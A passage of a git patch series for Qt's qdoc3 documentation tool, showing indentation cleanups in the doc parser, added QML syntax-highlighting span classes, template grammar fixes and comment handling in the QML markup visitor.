'\\%1' at this point") + .arg(cmdName(cmd))); } else { - if (currentSectioningUnit >= unit) - endSection(unit, cmd); + if (currentSectioningUnit >= unit) + endSection(unit, cmd); - int delta = unit - priv->extra->sectioningUnit; - append(Atom::SectionLeft, QString::number(delta)); + int delta = unit - priv->extra->sectioningUnit; + append(Atom::SectionLeft, QString::number(delta)); priv->constructExtra(); priv->extra->tableOfContents.append(priv->text.lastAtom()); priv->extra->tableOfContentsLevels.append(unit); - enterPara(Atom::SectionHeadingLeft, + enterPara(Atom::SectionHeadingLeft, Atom::SectionHeadingRight, QString::number(delta)); - currentSectioningUnit = unit; + currentSectioningUnit = unit; } } @@ -1719,20 +1718,20 @@ void DocParser::endSection(int unit, int endCmd) leavePara(); if (unit < priv->extra->sectioningUnit) { - location().warning(tr("Unexpected '\\%1' in this documentation") - .arg(cmdName(endCmd))); + location().warning(tr("Unexpected '\\%1' in this documentation") + .arg(cmdName(endCmd))); } else if (unit > currentSectioningUnit) { - location().warning(tr("Unexpected '\\%1' at this point") - .arg(cmdName(endCmd))); + location().warning(tr("Unexpected '\\%1' at this point") + .arg(cmdName(endCmd))); } else { - while (currentSectioningUnit >= unit) { - int delta = currentSectioningUnit - priv->extra->sectioningUnit; - append(Atom::SectionRight, QString::number(delta)); - currentSectioningUnit = - (Doc::SectioningUnit) (currentSectioningUnit - 1); - } + while (currentSectioningUnit >= unit) { + int delta = currentSectioningUnit - priv->extra->sectioningUnit; + append(Atom::SectionRight, QString::number(delta)); + currentSectioningUnit = + (Doc::SectioningUnit) (currentSectioningUnit - 1); + } } } @@ -1821,10 +1820,10 @@ void DocParser::appendChar(QChar ch) void DocParser::appendWord(const QString &word) { if (priv->text.lastAtom()->type() != Atom::String) { - append(Atom::String, word); + append(Atom::String, word); } else - priv->text.lastAtom()->appendString(word); + priv->text.lastAtom()->appendString(word); } void DocParser::appendToCode(const QString& markedCode) @@ -1832,10 +1831,10 @@ void DocParser::appendToCode(const QString& markedCode) Atom::Type lastType = priv->text.lastAtom()->type(); #ifdef QDOC_QML if (lastType != Atom::Qml) - append(Atom::Qml); + append(Atom::Qml); #else if (lastType != Atom::Code) - append(Atom::Code); + append(Atom::Code); #endif priv->text.lastAtom()->appendString(markedCode); } @@ -1853,44 +1852,44 @@ void DocParser::enterPara(Atom::Type leftType, if (paraState == OutsidePara) { if (priv->text.lastAtom()->type() != Atom::ListItemLeft) leaveValueList(); - append(leftType, string); - indexStartedPara = false; - pendingParaLeftType = leftType; - pendingParaRightType = rightType; - pendingParaString = string; - if ( - leftType == Atom::SectionHeadingLeft) { - paraState = InsideSingleLinePara; - } + append(leftType, string); + indexStartedPara = false; + pendingParaLeftType = leftType; + pendingParaRightType = rightType; + pendingParaString = string; + if ( + leftType == Atom::SectionHeadingLeft) { + paraState = InsideSingleLinePara; + } else { - paraState = InsideMultiLinePara; - } - skipSpacesOrOneEndl(); + paraState = InsideMultiLinePara; + } + skipSpacesOrOneEndl(); } } void DocParser::leavePara() { if (paraState != OutsidePara) { - if (!pendingFormats.isEmpty()) { - location().warning(tr("Missing '}'")); - pendingFormats.clear(); - } - - if (priv->text.lastAtom()->type() == pendingParaLeftType) { - priv->text.stripLastAtom(); - } + if (!pendingFormats.isEmpty()) { + location().warning(tr("Missing '}'")); + pendingFormats.clear(); + } + + if (priv->text.lastAtom()->type() == pendingParaLeftType) { + priv->text.stripLastAtom(); + } else { - if (priv->text.lastAtom()->type() == Atom::String && - priv->text.lastAtom()->string().endsWith(" ")) { - priv->text.lastAtom()->chopString(); - } - append(pendingParaRightType, pendingParaString); - } - paraState = OutsidePara; - indexStartedPara = false; - pendingParaRightType = Atom::Nop; - pendingParaString = ""; + if (priv->text.lastAtom()->type() == Atom::String && + priv->text.lastAtom()->string().endsWith(" ")) { + priv->text.lastAtom()->chopString(); + } + append(pendingParaRightType, pendingParaString); + } + paraState = OutsidePara; + indexStartedPara = false; + pendingParaRightType = Atom::Nop; + pendingParaString = ""; } } @@ -1898,13 +1897,13 @@ void DocParser::leaveValue() { leavePara(); if (openedLists.isEmpty()) { - openedLists.push(OpenedList(OpenedList::Value)); - append(Atom::ListLeft, ATOM_LIST_VALUE); + openedLists.push(OpenedList(OpenedList::Value)); + append(Atom::ListLeft, ATOM_LIST_VALUE); } else { if (priv->text.lastAtom()->type() == Atom::Nop) priv->text.stripLastAtom(); - append(Atom::ListItemRight, ATOM_LIST_VALUE); + append(Atom::ListItemRight, ATOM_LIST_VALUE); } } @@ -1915,9 +1914,9 @@ void DocParser::leaveValueList() (openedLists.top().style() == OpenedList::Value)) { if (priv->text.lastAtom()->type() == Atom::Nop) priv->text.stripLastAtom(); - append(Atom::ListItemRight, ATOM_LIST_VALUE); - append(Atom::ListRight, ATOM_LIST_VALUE); - openedLists.pop(); + append(Atom::ListItemRight, ATOM_LIST_VALUE); + append(Atom::ListRight, ATOM_LIST_VALUE); + openedLists.pop(); } } @@ -1948,43 +1947,43 @@ void DocParser::expandMacro(const QString &name, int numParams) { if (numParams == 0) { - append(Atom::RawString, def); + append(Atom::RawString, def); } else { - QStringList args; - QString rawString; + QStringList args; + QString rawString; - for (int i = 0; i < numParams; i++) { - if (numParams == 1 || isLeftBraceAhead()) { - args << getArgument(true); - } + for (int i = 0; i < numParams; i++) { + if (numParams == 1 || isLeftBraceAhead()) { + args << getArgument(true); + } else { - location().warning(tr("Macro '\\%1' invoked with too few" - " arguments (expected %2, got %3)") - .arg(name).arg(numParams).arg(i)); - break; - } - } - - int j = 0; - while (j < def.size()) { - int paramNo; - if ((def[j] == '\\') && (j < def.size() - 1) && + location().warning(tr("Macro '\\%1' invoked with too few" + " arguments (expected %2, got %3)") + .arg(name).arg(numParams).arg(i)); + break; + } + } + + int j = 0; + while (j < def.size()) { + int paramNo; + if ((def[j] == '\\') && (j < def.size() - 1) && ((paramNo = def[j + 1].digitValue()) >= 1) && (paramNo <= numParams)) { - if (!rawString.isEmpty()) { - append(Atom::RawString, rawString); - rawString = ""; - } - append(Atom::String, args[paramNo - 1]); - j += 2; - } + if (!rawString.isEmpty()) { + append(Atom::RawString, rawString); + rawString = ""; + } + append(Atom::String, args[paramNo - 1]); + j += 2; + } else { - rawString += def[j++]; - } - } - if (!rawString.isEmpty()) - append(Atom::RawString, rawString); + rawString += def[j++]; + } + } + if (!rawString.isEmpty()) + append(Atom::RawString, rawString); } } @@ -1993,29 +1992,29 @@ Doc::SectioningUnit DocParser::getSectioningUnit() QString name = getOptionalArgument(); if (name == "part") { - return Doc::Part; + return Doc::Part; } else if (name == "chapter") { - return Doc::Chapter; + return Doc::Chapter; } else if (name == "section1") { - return Doc::Section1; + return Doc::Section1; } else if (name == "section2") { - return Doc::Section2; + return Doc::Section2; } else if (name == "section3") { - return Doc::Section3; + return Doc::Section3; } else if (name == "section4") { - return Doc::Section4; + return Doc::Section4; } else if (name.isEmpty()) { - return Doc::Section4; + return Doc::Section4; } else { - location().warning(tr("Invalid sectioning unit '%1'").arg(name)); - return Doc::Book; + location().warning(tr("Invalid sectioning unit '%1'").arg(name)); + return Doc::Book; } } @@ -2032,115 +2031,115 @@ QString DocParser::getArgument(bool verbatim) Typically, an argument ends at the next white-space. However, braces can be used to group words: - {a few words} + {a few words} Also, opening and closing parentheses have to match. Thus, - printf("%d\n", x) + printf("%d\n", x) is an argument too, although it contains spaces. Finally, trailing punctuation is not included in an argument, nor is 's. */ if (pos < (int) in.length() && in[pos] == '{') { - pos++; - while (pos < (int) in.length() && delimDepth >= 0) { - switch (in[pos].unicode()) { - case '{': - delimDepth++; - arg += "{"; - pos++; - break; - case '}': - delimDepth--; - if (delimDepth >= 0) - arg += "}"; - pos++; - break; - case '\\': - if (verbatim) { - arg += in[pos]; - pos++; - } + pos++; + while (pos < (int) in.length() && delimDepth >= 0) { + switch (in[pos].unicode()) { + case '{': + delimDepth++; + arg += "{"; + pos++; + break; + case '}': + delimDepth--; + if (delimDepth >= 0) + arg += "}"; + pos++; + break; + case '\\': + if (verbatim) { + arg += in[pos]; + pos++; + } else { - pos++; - if (pos < (int) in.length()) { - if (in[pos].isLetterOrNumber()) - break; - arg += in[pos]; - if (in[pos].isSpace()) { - skipAllSpaces(); - } + pos++; + if (pos < (int) in.length()) { + if (in[pos].isLetterOrNumber()) + break; + arg += in[pos]; + if (in[pos].isSpace()) { + skipAllSpaces(); + } else { - pos++; - } - } - } - break; - default: - arg += in[pos]; - pos++; - } - } - if (delimDepth > 0) - location().warning(tr("Missing '}'")); + pos++; + } + } + } + break; + default: + arg += in[pos]; + pos++; + } + } + if (delimDepth > 0) + location().warning(tr("Missing '}'")); } else { - while (pos < in.length() && + while (pos < in.length() && ((delimDepth > 0) || ((delimDepth == 0) && !in[pos].isSpace()))) { - switch (in[pos].unicode()) { - case '(': - case '[': - case '{': - delimDepth++; - arg += in[pos]; - pos++; - break; - case ')': - case ']': - case '}': - delimDepth--; - if (pos == startPos || delimDepth >= 0) { - arg += in[pos]; - pos++; - } - break; - case '\\': - if (verbatim) { - arg += in[pos]; - pos++; - } + switch (in[pos].unicode()) { + case '(': + case '[': + case '{': + delimDepth++; + arg += in[pos]; + pos++; + break; + case ')': + case ']': + case '}': + delimDepth--; + if (pos == startPos || delimDepth >= 0) { + arg += in[pos]; + pos++; + } + break; + case '\\': + if (verbatim) { + arg += in[pos]; + pos++; + } else { - pos++; - if (pos < (int) in.length()) { - if (in[pos].isLetterOrNumber()) - break; - arg += in[pos]; - if (in[pos].isSpace()) { - skipAllSpaces(); - } + pos++; + if (pos < (int) in.length()) { + if (in[pos].isLetterOrNumber()) + break; + arg += in[pos]; + if (in[pos].isSpace()) { + skipAllSpaces(); + } else { - pos++; - } - } - } - break; - default: - arg += in[pos]; - pos++; - } - } - if ((arg.length() > 1) && + pos++; + } + } + } + break; + default: + arg += in[pos]; + pos++; + } + } + if ((arg.length() > 1) && (QString(".,:;!?").indexOf(in[pos - 1]) != -1) && !arg.endsWith("...")) { - arg.truncate(arg.length() - 1); - pos--; - } - if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") { - arg.truncate(arg.length() - 2); - pos -= 2; - } + arg.truncate(arg.length() - 1); + pos--; + } + if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") { + arg.truncate(arg.length() - 2); + pos -= 2; + } } return arg.simplified(); } @@ -2149,11 +2148,11 @@ QString DocParser::getOptionalArgument() { skipSpacesOrOneEndl(); if (pos + 1 < (int) in.length() && in[pos] == '\\' && - in[pos + 1].isLetterOrNumber()) { - return ""; + in[pos + 1].isLetterOrNumber()) { + return ""; } else { - return getArgument(); + return getArgument(); } } @@ -2216,7 +2215,7 @@ QString DocParser::getMetaCommandArgument(const QString &cmdStr) else if (in.at(pos) == ')') --parenDepth; - ++pos; + ++pos; } if (pos == in.size() && parenDepth > 0) { pos = begin; @@ -2236,12 +2235,12 @@ QString DocParser::getUntilEnd(int cmd) int end = rx.indexIn(in, pos); if (end == -1) { - location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd))); - pos = in.length(); + location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd))); + pos = in.length(); } else { - t = in.mid(pos, end - pos); - pos = end + rx.matchedLength(); + t = in.mid(pos, end - pos); + pos = end + rx.matchedLength(); } return t; } @@ -2271,9 +2270,9 @@ bool DocParser::isBlankLine() int i = pos; while (i < len && in[i].isSpace()) { - if (in[i] == '\n') - return true; - i++; + if (in[i] == '\n') + return true; + i++; } return false; } @@ -2284,10 +2283,10 @@ bool DocParser::isLeftBraceAhead() int i = pos; while (i < len && in[i].isSpace() && numEndl < 2) { - // ### bug with '\\' - if (in[i] == '\n') - numEndl++; - i++; + // ### bug with '\\' + if (in[i] == '\n') + numEndl++; + i++; } return numEndl < 2 && i < len && in[i] == '{'; } @@ -2297,31 +2296,31 @@ void DocParser::skipSpacesOnLine() while ((pos < in.length()) && in[pos].isSpace() && (in[pos].unicode() != '\n')) - ++pos; + ++pos; } void DocParser::skipSpacesOrOneEndl() { int firstEndl = -1; while (pos < (int) in.length() && in[pos].isSpace()) { - QChar ch = in[pos]; - if (ch == '\n') { - if (firstEndl == -1) { - firstEndl = pos; - } + QChar ch = in[pos]; + if (ch == '\n') { + if (firstEndl == -1) { + firstEndl = pos; + } else { - pos = firstEndl; - break; - } - } - pos++; + pos = firstEndl; + break; + } + } + pos++; } } void DocParser::skipAllSpaces() { while (pos < len && in[pos].isSpace()) - pos++; + pos++; } void DocParser::skipToNextPreprocessorCommand() @@ -2332,62 +2331,62 @@ void DocParser::skipToNextPreprocessorCommand() int end = rx.indexIn(in, pos + 1); // ### + 1 necessary? if (end == -1) - pos = in.length(); + pos = in.length(); else - pos = end; + pos = end; } int DocParser::endCmdFor(int cmd) { switch (cmd) { case CMD_ABSTRACT: - return CMD_ENDABSTRACT; + return CMD_ENDABSTRACT; case CMD_BADCODE: - return CMD_ENDCODE; + return CMD_ENDCODE; case CMD_CHAPTER: - return CMD_ENDCHAPTER; + return CMD_ENDCHAPTER; case CMD_CODE: - return CMD_ENDCODE; + return CMD_ENDCODE; #ifdef QDOC_QML case CMD_QML: - return CMD_ENDQML; + return CMD_ENDQML; case CMD_QMLTEXT: - return CMD_ENDQMLTEXT; + return CMD_ENDQMLTEXT; #endif case CMD_FOOTNOTE: - return CMD_ENDFOOTNOTE; + return CMD_ENDFOOTNOTE; case CMD_LEGALESE: return CMD_ENDLEGALESE; case CMD_LINK: return CMD_ENDLINK; case CMD_LIST: - return CMD_ENDLIST; + return CMD_ENDLIST; case CMD_NEWCODE: return CMD_ENDCODE; case CMD_OLDCODE: return CMD_NEWCODE; case CMD_OMIT: - return CMD_ENDOMIT; + return CMD_ENDOMIT; case CMD_PART: - return CMD_ENDPART; + return CMD_ENDPART; case CMD_QUOTATION: - return CMD_ENDQUOTATION; + return CMD_ENDQUOTATION; case CMD_RAW: return CMD_ENDRAW; case CMD_SECTION1: - return CMD_ENDSECTION1; + return CMD_ENDSECTION1; case CMD_SECTION2: - return CMD_ENDSECTION2; + return CMD_ENDSECTION2; case CMD_SECTION3: - return CMD_ENDSECTION3; + return CMD_ENDSECTION3; case CMD_SECTION4: - return CMD_ENDSECTION4; + return CMD_ENDSECTION4; case CMD_SIDEBAR: - return CMD_ENDSIDEBAR; + return CMD_ENDSIDEBAR; case CMD_TABLE: - return CMD_ENDTABLE; + return CMD_ENDTABLE; default: - return cmd; + return cmd; } } @@ -2441,14 +2440,14 @@ int DocParser::indentLevel(const QString& str) int column = 0; for (int i = 0; i < (int) str.length(); i++) { - if (str[i] == '\n') { - column = 0; - } + if (str[i] == '\n') { + column = 0; + } else { - if (str[i] != ' ' && column < minIndent) - minIndent = column; - column++; - } + if (str[i] != ' ' && column < minIndent) + minIndent = column; + column++; + } } return minIndent; } @@ -2456,21 +2455,21 @@ int DocParser::indentLevel(const QString& str) QString DocParser::unindent(int level, const QString& str) { if (level == 0) - return str; + return str; QString t; int column = 0; for (int i = 0; i < (int) str.length(); i++) { if (str[i] == QLatin1Char('\n')) { - t += '\n'; - column = 0; - } + t += '\n'; + column = 0; + } else { - if (column >= level) - t += str[i]; - column++; - } + if (column >= level) + t += str[i]; + column++; + } } return t; } @@ -2508,15 +2507,15 @@ Doc::Doc(const Doc& doc) Doc::~Doc() { if (priv && priv->deref()) - delete priv; + delete priv; } Doc &Doc::operator=(const Doc& doc) { if (doc.priv) - doc.priv->ref(); + doc.priv->ref(); if (priv && priv->deref()) - delete priv; + delete priv; priv = doc.priv; return *this; } @@ -2683,18 +2682,18 @@ Text Doc::trimmedBriefText(const QString &className) const whats = w.join(" "); if (whats.endsWith(".")) - whats.truncate(whats.length() - 1); + whats.truncate(whats.length() - 1); if (whats.isEmpty()) { - location().warning( + location().warning( tr("Nonstandard wording in '\\%1' text for '%2' (expected more text)") .arg(COMMAND_BRIEF).arg(className)); - standardWording = false; + standardWording = false; } else - whats[0] = whats[0].toUpper(); + whats[0] = whats[0].toUpper(); - // ### move this once \brief is abolished for properties + // ### move this once \brief is abolished for properties if (standardWording) resultText << whats; } @@ -2704,29 +2703,29 @@ Text Doc::trimmedBriefText(const QString &className) const Text Doc::legaleseText() const { if (priv == 0 || !priv->hasLegalese) - return Text(); + return Text(); else - return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight); + return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight); } const QString& Doc::baseName() const { static QString null; if (priv == 0 || priv->extra == 0) { - return null; + return null; } else { - return priv->extra->baseName; + return priv->extra->baseName; } } Doc::SectioningUnit Doc::granularity() const { if (priv == 0 || priv->extra == 0) { - return DocPrivateExtra().granularity; + return DocPrivateExtra().granularity; } else { - return priv->extra->granularity; + return priv->extra->granularity; } } @@ -2822,80 +2821,80 @@ void Doc::initialize(const Config& config) QSet commands = config.subVars(CONFIG_ALIAS); QSet::ConstIterator c = commands.begin(); while (c != commands.end()) { - QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c); - if (reverseAliasMap.contains(alias)) { - config.lastLocation().warning(tr("Command name '\\%1' cannot stand" - " for both '\\%2' and '\\%3'") - .arg(alias) - .arg(reverseAliasMap[alias]) - .arg(*c)); - } + QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c); + if (reverseAliasMap.contains(alias)) { + config.lastLocation().warning(tr("Command name '\\%1' cannot stand" + " for both '\\%2' and '\\%3'") + .arg(alias) + .arg(reverseAliasMap[alias]) + .arg(*c)); + } else { - reverseAliasMap.insert(alias, *c); - } - aliasMap()->insert(*c, alias); - ++c; + reverseAliasMap.insert(alias, *c); + } + aliasMap()->insert(*c, alias); + ++c; } int i = 0; while (cmds[i].english) { - cmds[i].alias = new QString(alias(cmds[i].english)); - cmdHash()->insert(*cmds[i].alias, cmds[i].no); + cmds[i].alias = new QString(alias(cmds[i].english)); + cmdHash()->insert(*cmds[i].alias, cmds[i].no); - if (cmds[i].no != i) - Location::internalError(tr("command %1 missing").arg(i)); - i++; + if (cmds[i].no != i) + Location::internalError(tr("command %1 missing").arg(i)); + i++; } QSet macroNames = config.subVars(CONFIG_MACRO); QSet::ConstIterator n = macroNames.begin(); while (n != macroNames.end()) { - QString macroDotName = CONFIG_MACRO + Config::dot + *n; - Macro macro; - macro.numParams = -1; - macro.defaultDef = config.getString(macroDotName); - if (!macro.defaultDef.isEmpty()) { - macro.defaultDefLocation = config.lastLocation(); - macro.numParams = Config::numParams(macro.defaultDef); - } - bool silent = false; - - QSet formats = config.subVars(macroDotName); - QSet::ConstIterator f = formats.begin(); - while (f != formats.end()) { - QString def = config.getString(macroDotName + Config::dot + *f); - if (!def.isEmpty()) { - macro.otherDefs.insert(*f, def); - int m = Config::numParams(macro.defaultDef); - if (macro.numParams == -1) { - macro.numParams = m; - } + QString macroDotName = CONFIG_MACRO + Config::dot + *n; + Macro macro; + macro.numParams = -1; + macro.defaultDef = config.getString(macroDotName); + if (!macro.defaultDef.isEmpty()) { + macro.defaultDefLocation = config.lastLocation(); + macro.numParams = Config::numParams(macro.defaultDef); + } + bool silent = false; + + QSet formats = config.subVars(macroDotName); + QSet::ConstIterator f = formats.begin(); + while (f != formats.end()) { + QString def = config.getString(macroDotName + Config::dot + *f); + if (!def.isEmpty()) { + macro.otherDefs.insert(*f, def); + int m = Config::numParams(macro.defaultDef); + if (macro.numParams == -1) { + macro.numParams = m; + } else if (macro.numParams != m) { - if (!silent) { - QString other = tr("default"); - if (macro.defaultDef.isEmpty()) - other = macro.otherDefs.begin().key(); - config.lastLocation().warning(tr("Macro '\\%1' takes" - " inconsistent number" - " of arguments (%2" - " %3, %4 %5)") - .arg(*n) - .arg(*f) - .arg(m) - .arg(other) - .arg(macro.numParams)); - silent = true; - } - if (macro.numParams < m) - macro.numParams = m; - } - } - ++f; - } - - if (macro.numParams != -1) - macroHash()->insert(*n, macro); - ++n; + if (!silent) { + QString other = tr("default"); + if (macro.defaultDef.isEmpty()) + other = macro.otherDefs.begin().key(); + config.lastLocation().warning(tr("Macro '\\%1' takes" + " inconsistent number" + " of arguments (%2" + " %3, %4 %5)") + .arg(*n) + .arg(*f) + .arg(m) + .arg(other) + .arg(macro.numParams)); + silent = true; + } + if (macro.numParams < m) + macro.numParams = m; + } + } + ++f; + } + + if (macro.numParams != -1) + macroHash()->insert(*n, macro); + ++n; } } @@ -2935,27 +2934,27 @@ void Doc::trimCStyleComment(Location& location, QString& str) int i; for (i = 0; i < (int) str.length(); i++) { - if (m.columnNo() == asterColumn) { - if (str[i] != '*') - break; - cleaned += ' '; - metAsterColumn = true; - } + if (m.columnNo() == asterColumn) { + if (str[i] != '*') + break; + cleaned += ' '; + metAsterColumn = true; + } else { - if (str[i] == '\n') { - if (!metAsterColumn) - break; - metAsterColumn = false; - } - cleaned += str[i]; - } - m.advance(str[i]); + if (str[i] == '\n') { + if (!metAsterColumn) + break; + metAsterColumn = false; + } + cleaned += str[i]; + } + m.advance(str[i]); } if (cleaned.length() == str.length()) - str = cleaned; + str = cleaned; for (int i = 0; i < 3; i++) - location.advance(str[i]); + location.advance(str[i]); str = str.mid(3, str.length() - 5); } @@ -2971,19 +2970,19 @@ CodeMarker *Doc::quoteFromFile(const Location &location, QString filePath = Config::findFile(location, DocParser::exampleFiles, DocParser::exampleDirs, - fileName, userFriendlyFilePath); + fileName, userFriendlyFilePath); if (filePath.isEmpty()) { - location.warning(tr("Cannot find example file '%1'").arg(fileName)); + location.warning(tr("Cannot find example file '%1'").arg(fileName)); } else { - QFile inFile(filePath); - if (!inFile.open(QFile::ReadOnly)) { - location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath)); - } + QFile inFile(filePath); + if (!inFile.open(QFile::ReadOnly)) { + location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath)); + } else { - QTextStream inStream(&inFile); - code = DocParser::untabifyEtc(inStream.readAll()); - } + QTextStream inStream(&inFile); + code = DocParser::untabifyEtc(inStream.readAll()); + } } QString dirPath = QFileInfo(filePath).path(); -- cgit v0.12 From 04e6c74420ba808a3bd9ae502ff12c60cc6b58f8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 29 Nov 2010 19:58:43 +0100 Subject: Added more span classes to make the QML output more colorful. --- tools/qdoc3/htmlgenerator.cpp | 43 ++++++++++++++++++++++++++++++------------- 1 file changed, 30 insertions(+), 13 deletions(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 9f5f182..b4e9d2a 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -89,7 +89,7 @@ static bool showBrokenLinks = false; static QRegExp linkTag("(<@link node=\"([^\"]+)\">).*()"); static QRegExp funcTag("(<@func target=\"([^\"]*)\">)(.*)()"); static QRegExp typeTag("(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()"); -static QRegExp spanTag(""); +static QRegExp spanTag(""); static QRegExp unknownTag("]*>"); bool parseArg(const QString &src, @@ -216,8 +216,8 @@ HtmlGenerator::HtmlGenerator() numTableRows(0), threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), - myTree(0), inObsoleteLink(false), + myTree(0), slow(false), obsoleteLinks(false) { @@ -1476,7 +1476,7 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) return; } #endif - + sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { @@ -2846,23 +2846,40 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode, // "<@preprocessor>" -> ""; // "<@string>" -> ""; // "<@char>" -> ""; - // "" -> "" + // "<@number>" -> ""; + // "<@op>" -> ""; + // "<@type>" -> ""; + // "<@name>" -> ""; + // "<@keyword>" -> ""; + // "" -> "" src = html; html = QString(); static const QString spanTags[] = { - "<@comment>", "", - "<@preprocessor>", "", - "<@string>", "", - "<@char>", "", - "", "", - "","", - "", "", - "", "" + "<@comment>", "", + "<@preprocessor>", "", + "<@string>", "", + "<@char>", "", + "<@number>", "", + "<@op>", "", + "<@type>", "", + "<@name>", "", + "<@keyword>", "", + "", "", + "", "", + "", "", + "", "", + "", "", + "", "", + "", "", + "", "", + "", "", }; + // Update the upper bound of k in the following code to match the length + // of the above array. for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle) { bool handled = false; - for (int k = 0; k != 8; ++k) { + for (int k = 0; k != 18; ++k) { const QString & tag = spanTags[2 * k]; if (tag == QStringRef(&src, i, tag.length())) { html += spanTags[2 * k + 1]; -- cgit v0.12 From 7072882e6873782f258fa3f7d2acee801226d8c0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 29 Nov 2010 19:59:45 +0100 Subject: Fixed grammar. --- tools/qdoc3/test/qt-html-templates-online.qdocconf | 2 +- tools/qdoc3/test/qt-html-templates.qdocconf | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/test/qt-html-templates-online.qdocconf b/tools/qdoc3/test/qt-html-templates-online.qdocconf index 7ed8c90..1d55cee 100644 --- a/tools/qdoc3/test/qt-html-templates-online.qdocconf +++ b/tools/qdoc3/test/qt-html-templates-online.qdocconf @@ -126,7 +126,7 @@ HTML.postheader = \ "
    \n" \ "
      \n" \ "
    • Home
    • \n" \ - " \n" + " \n" HTML.postpostheader = \ "
    \n" \ diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index bbd1b21..67ce95a 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -13,7 +13,7 @@ HTML.postheader = \ "
    \n" \ "
      \n" \ "
    • Home
    • \n" \ - " \n" + " \n" HTML.postpostheader = \ "
    \n" \ -- cgit v0.12 From 361fa33371a855e82b63b4d45b2ffe36fed82867 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 29 Nov 2010 20:00:26 +0100 Subject: Made further refinements to the node traversal and comment handling. --- tools/qdoc3/qmlmarkupvisitor.cpp | 285 ++++++++++++++++++++++++--------------- tools/qdoc3/qmlmarkupvisitor.h | 10 +- 2 files changed, 186 insertions(+), 109 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 72a2334..4564dc5 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -40,7 +40,6 @@ ****************************************************************************/ #include -#include #include #include #include "private/qdeclarativejsast_p.h" @@ -51,42 +50,116 @@ QT_BEGIN_NAMESPACE -QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, bool debug) +QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine *engine) { this->source = source; + this->engine = engine; indent = 0; cursor = 0; - showDebug = debug; + commentIndex = 0; + debug += QString("Comments %1\n").arg(engine->comments().length()); } QmlMarkupVisitor::~QmlMarkupVisitor() { } +// The protect() function is a copy of the one from CppCodeMarker. + +static const QString samp = QLatin1String("&"); +static const QString slt = QLatin1String("<"); +static const QString sgt = QLatin1String(">"); +static const QString squot = QLatin1String("""); + +QString QmlMarkupVisitor::protect(const QString& str) +{ + int n = str.length(); + QString marked; + marked.reserve(n * 2 + 30); + const QChar *data = str.constData(); + for (int i = 0; i != n; ++i) { + switch (data[i].unicode()) { + case '&': marked += samp; break; + case '<': marked += slt; break; + case '>': marked += sgt; break; + case '"': marked += squot; break; + default : marked += data[i]; + } + } + return marked; +} + QString QmlMarkupVisitor::markedUpCode() { if (cursor < source.length()) - return output + source.mid(cursor); - else - return output; + addExtra(cursor, source.length()); + + //qDebug() << debug; + qDebug() << output; + return output; } -void QmlMarkupVisitor::addMarkedUpToken( - QDeclarativeJS::AST::SourceLocation &location, const QString &text) +void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) { - //qDebug() << "t**" << cursor << location.offset; - if (location.offset > cursor) { - QString extra = source.mid(cursor, location.offset - cursor); + if (commentIndex >= engine->comments().length()) { + QString extra = source.mid(start, finish - start); if (extra.trimmed().isEmpty()) output += extra; else - output += "<<<" + extra + ">>>"; - //qDebug() << "+++" << source.mid(cursor, location.offset - cursor); - cursor += location.offset; + output += protect(extra); // text that should probably have been caught by the parser + + cursor = finish; + return; } - //qDebug() << "-->" << text; - output += text; + while (commentIndex < engine->comments().length()) { + if (engine->comments()[commentIndex].offset - 2 >= start) + break; + commentIndex++; + } + + quint32 i = start; + while (i < finish && commentIndex < engine->comments().length()) { + quint32 j = engine->comments()[commentIndex].offset - 2; + if (i <= j && j < finish) { + if (i < j) + output += protect(source.mid(i, j - i)); + + quint32 l = engine->comments()[commentIndex].length; + if (source.mid(j, 2) == QLatin1String("/*")) + l += 4; + else + l += 2; + output += QLatin1String("<@comment>"); + output += protect(source.mid(j, l)); + output += QLatin1String(""); + commentIndex++; + i = j + l; + } else + break; + } + + QString extra = source.mid(i, finish - i); + if (extra.trimmed().isEmpty()) + output += extra; + else + output += protect(extra); // text that should probably have been caught by the parser + + cursor = finish; +} + +void QmlMarkupVisitor::addMarkedUpToken( + QDeclarativeJS::AST::SourceLocation &location, const QString &tagName) +{ + if (!location.isValid()) + return; + + if (cursor < location.offset) + addExtra(cursor, location.offset); + else if (cursor > location.offset) + debug += QString("%1 %2\n").arg(cursor).arg(location.offset); + + output += QString(QLatin1String("<@%1>%2")).arg(tagName, protect(sourceText(location)), tagName); cursor += location.length; } @@ -98,36 +171,31 @@ QString QmlMarkupVisitor::sourceText(QDeclarativeJS::AST::SourceLocation &locati void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, QDeclarativeJS::AST::SourceLocation last) { + if (!first.isValid()) + return; + quint32 start = first.begin(); - //qDebug() << 